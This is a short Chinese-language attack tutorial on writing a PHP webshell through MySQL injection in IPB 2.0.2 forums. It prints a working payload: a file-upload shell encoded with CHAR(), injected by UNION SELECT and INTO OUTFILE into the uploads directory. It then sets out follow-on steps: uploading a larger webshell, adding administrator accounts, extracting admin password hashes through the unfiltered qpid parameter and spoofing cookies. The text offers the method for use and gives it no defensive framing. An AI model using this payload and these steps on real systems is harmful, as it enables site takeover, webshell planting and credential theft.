早期 MySQL 注入導出 WebShell 的常規思路是:構造惡意數據插入數據庫,再利用 INTO OUTFILE 導出。但許多 PHP 應用(如 IPB 論壇)在入庫前會對數據進行 htmlspecialchars() 轉義,導致 Shell 代碼被實體化,無法執行。
CHAR() 函數繞過轉義測試發現,UNION SELECT 查詢結果可直接作為 INTO OUTFILE 的輸出內容。若將 Shell 代碼轉為 ASCII 碼,通過 CHAR() 函數重組,即可繞過應用層過濾,直接寫入可執行的 PHP 檔案。
/ipb2/uploads/ 目錄需可寫以支持附件上傳。<?copy($_FILES['MyFile']['tmp_name'],$_FILES['MyFile']['name']);?>CHAR(60,63,99,111,112,121,40,36,95,70,73,76,69,83,91,77,121,70,105,108,101,93,91,116,109,112,95,110,97,109,101,93,44,36,95,70,73,76,69,83,91,77,121,70,105,108,101,93,91,110,97,109,101,93,41,59,63,62)?id=1 AND 1=2 UNION SELECT 1,1,CHAR(...) FROM user INTO OUTFILE '/home/www/ipb2/uploads/upload.php'/*upload.php,構造上傳表單,上傳大馬(如 PhpSpy),進而獲取數據庫權限、添加管理員帳號。IPB2.0.2 中 qpid 參數未過濾,可進行聯合查詢獲取管理員密碼 Hash,再利用 Cookie 欺騙登入後台。工具(如 r57ipb.pl)雖自動化,但手工構造更靈活,無需知道 SID 等額外參數。
此技巧優勢在於:無需插入數據、不受字段類型長度限制、繞過 htmlspecialchars 等轉義函數。僅需知道一張表名即可導出文件,極大降低了利用門檻。但前提是 MySQL 帳號擁有 FILE 權限且 magic_quotes_gpc=Off。